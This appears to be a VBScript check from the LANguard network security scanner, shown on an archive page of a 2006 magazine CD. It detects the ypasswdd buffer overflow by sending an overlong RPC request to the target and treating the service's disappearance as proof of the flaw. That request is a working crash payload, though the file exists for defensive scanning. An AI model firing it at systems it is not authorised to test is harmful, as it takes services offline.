home *** CD-ROM | disk | FTP | other *** search
/ PC Professionell 2006 May / PCpro_2006_05.ISO / files / free_security / languard / languardnss7.exe / ypasswd_buffer_overflow.vbs47 < prev    next >
Encoding:
Text File  |  2005-07-18  |  4.0 KB  |  164 lines

  1. 'check the ypasswdd buffer overflow 
  2. 'vulnerability
  3.  
  4. Function makeString(length As Integer, pattern As String) As String
  5.     Dim tmpString As String
  6.     
  7.     Do While Len(tmpString) < length
  8.         If Len(tmpString+pattern) <= length Then
  9.             tmpstring= tmpString + pattern
  10.         Else
  11.             tmpstring = tmpString + Left(pattern, length - Len(tmpString))
  12.         End If        
  13.     Loop
  14.     makeString = tmpString
  15. End Function
  16.  
  17. Function rpc_port(ip As Variant, program As Long, ipproto As String) As Integer
  18.  
  19. Dim protocol As Integer
  20. Dim req1 As Variant
  21. Dim SocketObject As Object
  22. Dim response As Variant
  23.  
  24. Dim v1 As Integer
  25. Dim v2 As Integer
  26. Dim v3 As Integer
  27. Dim v4 As Integer
  28.  
  29. Dim prgv1 As Integer
  30. Dim prgv2 As Integer
  31. Dim prgv3 As Integer
  32. Dim prgv4 As Integer
  33.  
  34. Dim prot1 As Integer
  35. Dim prot2 As Integer
  36. Dim prot3 As Integer
  37. Dim prot4 As Integer
  38.  
  39. Dim rpcport As Integer    
  40.  
  41.  
  42.     port = "111"
  43.     cr = Chr(13) +  Chr(10)
  44.     
  45.  
  46.     protocol = 0
  47.     If StrComp(ipproto, "udp") = 0 Then
  48.         protocol = 17
  49.     End If
  50.     
  51.     If StrComp(ipproto, "tcp") = 0 Then
  52.         protocol = 6
  53.     End If
  54.     
  55.     If protocol = 0 Then
  56.         rpcport = 0
  57.         Exit Function
  58.     End If
  59.     
  60.     
  61.  
  62.     v1 = Int(255*Rnd()) 
  63.     v2 = Int(255*Rnd()) 
  64.     v3 = Int(255*Rnd()) 
  65.     v4 = Int(255*Rnd()) 
  66.     
  67.     
  68.     prgv1 = Int(program / 16777216)
  69.     prgv1 = prgv1 Mod 256
  70.     prgv2 = Int(program / 65356)
  71.     prgv2 = prgv2 Mod 256
  72.     prgv3 = Int(program / 256) 
  73.     prgv3 = prgv3 Mod 256
  74.     prgv4 = program Mod 256
  75.  
  76.     protv1 = Int(protocol / 16777216)
  77.     protv1 = protv1 Mod 256
  78.     protv2 = Int(protocol / 65535) 
  79.     protv2 = protv2 Mod 256
  80.     protv3 = Int(protocol / 256) 
  81.     protv3 = protv3 Mod 256
  82.     protv4 = protocol Mod 256
  83.  
  84.  
  85.      req1 = Array(v1,     v2,     v3,     v4,   &H00, &H00, &H00, &H00,  &H00, &H00, &H00, &H02,  &H00, &H01, &H86, &HA0,  &H00, &H00, &H00, &H02,  &H00, &H00, &H00, &H03,  &H00, &H00, &H00, &H00,  &H00, &H00, &H00, &H00,  &H00, &H00, &H00, &H00,    &H00, &H00, &H00, &H00,  prgv1,  prgv2,  prgv3,  prgv4,  &HFF, &HFF, &HFF, &HFF,  protv1, protv2, protv3, protv4,  &H00, &H00, &H00, &H00 )    
  86.  
  87.  
  88.     Set SocketObject = Socket.OpenUdp ()
  89.     If Not SocketObject is Nothing Then 
  90.         SocketObject.SendTo ip,port,req1
  91.         response=SocketObject.Recv(1024)
  92.         If VarType(response) = 12 Then
  93.             If UBound(response) >= 28 Then
  94.                 v1 = response(28)
  95.                 v2 = response(27)
  96.                 v3 = response(26)
  97.                 v4 = response(25)
  98.                 rpcport = ((v4 * 256 +v3) * 256 +v2) * 256 +v1
  99.                 rpc_port = rpcport            
  100.                 Exit Function
  101.             End If
  102.         End If
  103.         SocketObject.close
  104.     End If
  105.     rpc_port = 0
  106. End Function
  107.  
  108. Function Main
  109.  
  110.  
  111. Dim objSocket As Object
  112. Dim i As Integer
  113. Dim bResult As Boolean
  114. Dim varRawdata1 As Variant
  115. Dim varRawdata2 As Variant
  116. Dim strSend As String
  117. Dim varResponse As Variant
  118.  
  119. Dim cr As String
  120.  
  121.  
  122. cr = Chr(13) +  Chr(10)
  123.  
  124. ip = getparameter("ComputerIP")
  125. port = rpc_port(ip, 100009, "UDP")
  126. If port = 0 Then
  127.         initResult = false
  128.     Else
  129.         initResult = true
  130. End If
  131.  
  132. bResult = false
  133.  
  134. Set objSocket = Socket.OpenUdp ()
  135. If Not objSocket is Nothing Then
  136.     'compose RPC request to be sent with a very long argument
  137.     varRawdata1 = Array( &H56, &H6C, &H9F, &H6B, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H02,     &H00, &H01, &H86, &HA9, &H00, &H00, &H00, &H01, &H00, &H00, &H00, &H01, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H03, &H20, &H80, &H1C, &H40, &H11)
  138.              
  139.     strSend = makeString(796,"x")
  140.     
  141.     varRawdata2 = Array( &H00, &H00, &H00, &H02, &H61, &H61, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H00, &H03, &H61, &H61, &H61, &H00, &H00, &H00, &H00, &H03, &H61, &H61,&H61, &H00, &H00, &H00, &H00, &H02, &H61, &H61, &H00, &H00)
  142.      
  143.     objSocket.SendTo ip,port,varRawdata1
  144.     objSocket.SendTo ip,port,strSend
  145.     objSocket.SendTo ip,port,varRawdata2
  146.  
  147.     'if now we get no port from portmap then attack has succeeded    
  148.     port = rpc_port(ip, 100009, "UDP")
  149.     If port = 0 Then
  150.         bResult = true
  151.     End If
  152.     
  153.         
  154.  
  155.     objSocket.Close    
  156. End If    
  157. If initresult = false Then
  158.     main = false
  159. Else
  160.     main = bResult
  161. End If
  162.  
  163.  
  164. End Function